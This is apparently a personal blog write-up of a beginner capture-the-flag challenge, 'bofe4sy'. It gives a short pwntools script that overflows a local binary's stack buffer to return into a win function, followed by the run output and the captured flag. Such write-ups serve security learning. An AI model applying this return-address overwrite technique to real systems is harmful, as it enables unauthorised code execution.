Pwnctf bofe4sy Writeup

kazma 成大資安社 創辦人/社長
  2023-12-20 22:05:14 2023-12-20 22:05:14 Created   2023-12-20 22:10:07 2023-12-20 22:10:07 Updated    

bofe4sy

直接 bof return 到 win 就行：

l33t

exploit.py：

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└─$ cat exploit.py
from pwn import *

r = process('./bofe4sy')

win = 0x400646
ret = 0x4004c1
p = b'a'*0x28 + p64(ret) + p64(win)

r.sendlineafter(b':', p)
r.interactive()

result：

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└─$ python exploit.py
[+] Starting local process './bofe4sy': pid 301327
[*] Switching to interactive mode
Congrat !
$ cat flag
AngelboyCTF{YodbgBUFJp6ypXRqkKjI}

Pwned !!!

  • Title: Pwnctf bofe4sy Writeup
  • Author: kazma
  • Created at : 2023-12-20 22:05:14
  • Updated at : 2023-12-20 22:10:07
  • Link: https://kazma.tw/2023/12/20/Pwnctf-bofe4sy-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
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Pwnctf bofe4sy Writeup
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